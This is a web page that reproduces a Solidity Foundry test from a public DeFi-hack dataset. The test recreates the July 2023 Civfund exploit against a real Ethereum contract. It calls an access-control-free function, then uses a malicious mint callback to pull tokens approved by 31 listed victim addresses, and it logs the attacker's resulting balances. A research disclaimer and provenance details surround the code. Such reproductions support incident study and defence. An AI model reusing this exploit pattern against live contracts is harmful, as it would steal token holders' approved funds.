Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Civfund_exp.sol

Public reproduction file for dataset entry Civfund.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Civfund_exp.sol249 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~165K USD$
8// Attacker : https://etherscan.io/address/0xc0ccff0b981b419e6e47560c3659c5f0b00e4985
9// Attack Contract : https://etherscan.io/address/0xf466f9f431aea853040ef837626b1c59cc963ce2
10// Vulnerable Contract : https://etherscan.io/address/0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826
11// Attack Tx : https://etherscan.io/tx/0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b
13// @Analysis
14// https://twitter.com/HypernativeLabs/status/1677529544062803969
15// https://twitter.com/BeosinAlert/status/1677548773269213184
17interface ICiv {
18 function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes calldata data) external;
21contract ContractTest is Test {
22 IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
23 IERC20 BONE = IERC20(0x9813037ee2218799597d83D4a5B6F3b6778218d9);
24 IERC20 WOOF = IERC20(0x6BC08509B36A98E829dFfAD49Fde5e412645d0a3);
25 IERC20 LEASH = IERC20(0x27C70Cd1946795B66be9d954418546998b546634);
26 IERC20 SANI = IERC20(0x4521C9aD6A3D4230803aB752Ed238BE11F8B342F);
27 IERC20 ONE = IERC20(0x73A83269b9bbAFC427E76Be0A2C1a1db2a26f4C2);
28 IERC20 CELL = IERC20(0x26c8AFBBFE1EBaca03C2bB082E69D0476Bffe099);
29 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
30 IERC20 SHIB = IERC20(0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE);
31 ICiv VulnerableContract = ICiv(0x7CAEC5E4a3906d0919895d113F7Ed9b3a0cbf826);
32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 address[] victims = [
35 0x18b5f62c3830668D64F859A5a71511B2132075F1,
36 0x22F6b9Cc8E670f6Ad4F43896edeC7E98eae8B6A1,
37 0x783e2F71d8967BDEE8Aa2bA0f3B9f402Ac871365,
38 0x8F159f13f64dB18B8A0742c86Fa8B225CeAd6C5d,
39 0x6a6597CD92D2A78101CC7f2d3BEf3BBfa264f09C,
40 0x899b11881f977AEb5D9Fac5105ce62c877f11763,
41 0x4035918D8e0231D6bF5fFB72Add9EDC917DCfcfa,
42 0x46DaD8f630736C7265849422F943efD77CB8714f,
43 0x7b05363f549c929C3dA930f6728e3D74806E4103,
44 0xC21A3B81Efbba41DD319191b07A20eB1f5EeBd61,
45 0x26d61E57C44525d25AAD4ef20bcE3F7aA9D64C4c,
46 0x71f69A5611375DC6FCBe72044b0a2363fCb0d967,
47 0xC5CC992AAf6ECaC0a1074fa4435ac36FD51FFEEd,
48 0x498C3274D8DdEe9e1C727f31232e2e41Ab55BAf9,
49 0x7b05363f549c929C3dA930f6728e3D74806E4103,
50 0x32923bF50f9D4D182c9dc09A66fB9167b9AB91bF,
51 0x0a78FBeb89EE251C0d78E0eeB5E6bb7524A8939f,
52 0xCfd3eF97272777F6D814344AE93dd6C69b27f214,
53 0x0e1DF04fea7411A393f5Ac2a1907b5e292280bfa,
54 0xD156a9E6F661F4Ea23B21dbDddB1a39dBeA63e65,
55 0x512e9701D314b365921BcB3b8265658A152C9fFD,
56 0xbc1843A7dAa380D4e7412D829Adc85627c3f0eD9,
57 0x853fd548dE9a1b8F94BcFF480DD9fEa6E0f20BB0,
58 0xF2cdD8b147802a07F862C9dc125190e0653795a2,
59 0x526FeE3a5EE9913019Fa943668F0A8712e6349A6,
60 0xe0643f2C33F5a7A97B25129F0552f2f1a45Fc4BA,
61 0x7e585B185fC67BC5f815B7Abf459300418Aa9f97,
62 0x9EAaeaB7255296E68Ad1F12b969B9e30D1806c9d,
63 0x5c7F06399ffD6707a8FCAF248661aBAbF160CD63,
64 0xc0E3424A3B43bfd86a125a2C9704ce445fFc8bb8,
65 0x3C0F97eBc34aD870414176e5e9126f31166eC1A9
66 ];
67 // The assets of the above addresses. victims[counter] : victimsAssets[counter]
68 IERC20[] victimsAssets = [
69 USDT,
70 USDT,
71 BONE,
72 WOOF,
73 LEASH,
74 SANI,
75 USDT,
76 USDT,
77 USDT,
78 ONE,
79 CELL,
80 USDT,
81 USDT,
82 USDT,
83 USDC,
84 SHIB,
85 ONE,
86 LEASH,
87 USDT,
88 USDT,
89 ONE,
90 USDT,
91 USDT,
92 ONE,
93 USDT,
94 USDT,
95 ONE,
96 SANI,
97 USDT,
98 USDT,
99 USDT
100 ];
101 // Helper variable (for orientation). Which token and how much to steal from the next victim
102 uint256 private counter = 0;
104 function setUp() public {
105 cheats.createSelectFork("mainnet", 17_646_141);
106 cheats.label(address(USDT), "USDT");
107 cheats.label(address(BONE), "BONE");
108 cheats.label(address(LEASH), "LEASH");
109 cheats.label(address(SANI), "SANI");
110 cheats.label(address(ONE), "ONE");
111 cheats.label(address(CELL), "CELL");
112 cheats.label(address(USDC), "USDC");
113 cheats.label(address(SHIB), "SHIB");
114 }
116 function testExploit() public {
117 // Step 1. Call vulnerable contract function which have no access controll
118 for (uint256 i; i < victims.length; ++i) {
119 callVulnerableContract();
120 }
122 emit log_named_decimal_uint(
123 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
124 );
125 emit log_named_decimal_uint(
126 "Attacker BONE balance after exploit", BONE.balanceOf(address(this)), BONE.decimals()
127 );
128 emit log_named_decimal_uint(
129 "Attacker WOOF balance after exploit", WOOF.balanceOf(address(this)), WOOF.decimals()
130 );
132 emit log_named_decimal_uint(
133 "Attacker LEASH balance after exploit", LEASH.balanceOf(address(this)), LEASH.decimals()
134 );
136 emit log_named_decimal_uint(
137 "Attacker SANI balance after exploit", SANI.balanceOf(address(this)), SANI.decimals()
138 );
140 emit log_named_decimal_uint("Attacker ONE balance after exploit", ONE.balanceOf(address(this)), ONE.decimals());
142 emit log_named_decimal_uint(
143 "Attacker CELL balance after exploit", CELL.balanceOf(address(this)), CELL.decimals()
144 );
146 emit log_named_decimal_uint(
147 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
148 );
150 emit log_named_decimal_uint(
151 "Attacker SHIB balance after exploit", SHIB.balanceOf(address(this)), SHIB.decimals()
152 );
153 }
155 // Step 2. This function will be called from vulnerable contract (after step 1).
156 // In the body of the function attacker call uniswapV3MintCallback() to transfer the funds approved by other users.
157 function mint(
158 address recipient,
159 int24 tickLower,
160 int24 tickUpper,
161 uint128 amount,
162 bytes calldata data
163 ) external returns (uint128 amount0, uint128 amount1) {
164 if (counter == 0) {
165 uniswapV3MintCallback(0);
166 } else if (counter == 1) {
167 uniswapV3MintCallback(1);
168 } else if (counter == 2) {
169 uniswapV3MintCallback(2);
170 } else if (counter == 3) {
171 uniswapV3MintCallback(3);
172 } else if (counter == 4) {
173 uniswapV3MintCallback(4);
174 } else if (counter == 5) {
175 uniswapV3MintCallback(5);
176 } else if (counter == 6) {
177 uniswapV3MintCallback(6);
178 } else if (counter == 7) {
179 uniswapV3MintCallback(7);
180 } else if (counter == 8) {
181 uniswapV3MintCallback(8);
182 } else if (counter == 9) {
183 uniswapV3MintCallback(9);
184 } else if (counter == 10) {
185 uniswapV3MintCallback(10);
186 } else if (counter == 11) {
187 uniswapV3MintCallback(11);
188 } else if (counter == 12) {
189 uniswapV3MintCallback(12);
190 } else if (counter == 13) {
191 uniswapV3MintCallback(13);
192 } else if (counter == 14) {
193 uniswapV3MintCallback(14);
194 } else if (counter == 15) {
195 uniswapV3MintCallback(15);
196 } else if (counter == 16) {
197 uniswapV3MintCallback(16);
198 } else if (counter == 17) {
199 uniswapV3MintCallback(17);
200 } else if (counter == 18) {
201 uniswapV3MintCallback(18);
202 } else if (counter == 19) {
203 uniswapV3MintCallback(19);
204 } else if (counter == 20) {
205 uniswapV3MintCallback(20);
206 } else if (counter == 21) {
207 uniswapV3MintCallback(21);
208 } else if (counter == 22) {
209 uniswapV3MintCallback(22);
210 } else if (counter == 23) {
211 uniswapV3MintCallback(23);
212 } else if (counter == 24) {
213 uniswapV3MintCallback(24);
214 } else if (counter == 25) {
215 uniswapV3MintCallback(25);
216 } else if (counter == 26) {
217 uniswapV3MintCallback(26);
218 } else if (counter == 27) {
219 uniswapV3MintCallback(27);
220 } else if (counter == 28) {
221 uniswapV3MintCallback(28);
222 } else if (counter == 29) {
223 uniswapV3MintCallback(29);
224 } else {
225 uniswapV3MintCallback(30);
226 }
227 ++counter;
228 return (10, 11);
229 }
231 function token1() external view returns (address) {
232 return address(victimsAssets[counter]);
233 }
235 function callVulnerableContract() internal {
236 (bool success, bytes memory retData) = address(VulnerableContract).call(
237 abi.encodeWithSelector(bytes4(0x5ffe72b7), 0, 0, 0, address(this), 0, 0, 0)
238 );
239 require(success);
240 }
242 function uniswapV3MintCallback(
243 uint256 num
244 ) internal {
245 VulnerableContract.uniswapV3MintCallback(
246 0, victimsAssets[num].balanceOf(victims[num]), abi.encode(victims[num])
247 );
248 }

Analysis

Dataset entry

Public Foundry test for “Civfund” (2023-07-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc0ccff0b981b419e6e47560c3659c5f0b00e4985

  • Attack Contract

    0xf466f9f431aea853040ef837626b1c59cc963ce2

  • Vulnerable Contract

    0x7caec5e4a3906d0919895d113f7ed9b3a0cbf826

  • Attack Tx

    0xc42fc0e22a0f60cc299be80eb0c0ddce83c21c14a3dddd8430628011c3e20d6b

File record

Name
Civfund
Path
src/test/2023-07/Civfund_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f16c3f7c141a707445d970f5bb9f53ee149b7c2e
Language
Solidity
Size
250 lines
Date
2023-07-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Civfund_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f16c3f7c141a707445d970f5bb9f53ee149b7c2e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.